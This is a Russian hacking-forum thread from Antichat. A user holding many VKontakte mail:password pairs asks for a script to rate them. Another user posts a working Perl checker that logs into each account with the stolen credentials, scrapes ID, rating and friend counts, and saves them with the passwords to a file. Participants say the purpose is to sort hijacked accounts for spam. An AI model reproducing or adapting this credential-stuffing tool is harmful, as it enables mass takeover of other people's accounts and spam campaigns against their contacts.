Форум АНТИЧАТ - Вконтакте

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)

- - Вконтакте | Рейтинг (https://forum.antichat.xyz/showthread.php?t=79417)

Вконтакте | Рейтинг

Есть куча аккаунтов вида mail:рass. Нужно сделать вид: rate:mail:pass. Помогите ламеру! Есть ли такой скрипт?

microsoft excel пробывал?

Цитата:

Сообщение от mff

microsoft excel пробывал?

Как ты экселем узнаешь рейтинг?
Нужно что-то на подобии граббера по готовым аккам. Просто нужно узнать их рейтинг не в ручную

Цитата:

Вот это отвечает за рейтинг

пиши сам или жди пока ктонить нпишет
--
зы сам мож напишу ближе к понедельнику есчли никто не реализует еще...

Код:

#!/usr/bin/perl

# VKONTAKTE    cheker

# Original author Xszz.AoH

# Modified by svesve, zavr

# tnx to a4at members who help me with perl ;-)

use strict;

use LWP::UserAgent;



use HTTP::Cookies;



open (FILE , '<good.txt');

my @f = <FILE>;

chomp @f;

my $ua = LWP::UserAgent->new;

my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');

$ua->cookie_jar($cookies);

open (OUT , '>>IDS_rate.txt');

while (@f)

{

my ($mail, $pass) = split(/:/, shift(@f));



my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;

my $suc = $req =~ /302 Found/;

if ($suc )

{

$req = $ua->get('http://vkontakte.ru/index.php')->as_string;

my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;

my $idd=$2;

my $res = $1 if $req=~m/<div id="percent">(.{1,4})</;

if (!$res){

    $res = $1 if $req=~m/<div id="percentGold">(.{1,4})</;

}

my $fri = $1 if $req=~m/<div><h2>Друзья <span>\((\d+)\)</;

if (!$fri){

    $fri = "0"

}

my $onl = $1 if $req=~m/<div><h2>Друзья он-лайн <span>\((\d+)\)</;

if(!$onl){

    $onl = "0"

}

print "[online=$onl]:[friends=$fri]:[rate=$res]:[id=$idd]:$mail:$pass\n";

if (!$idd)

{

print "Account deleted \n";

}

print OUT $fri.":".$res.":".$idd.":".$mail.":".$pass."\n";

}

else{print"[-]bad login or password \n";}

}

close OUT;

close FILE;

записывает в файл оличество друзей:рейтинг:id:e:p

А толку от рейтинга чюжого, мы же обсуждали уже, что от чюжого рейтинга себе ни процентинга не взять

Отсортировать по рейтингу, для спама... Типа повышать качество спама.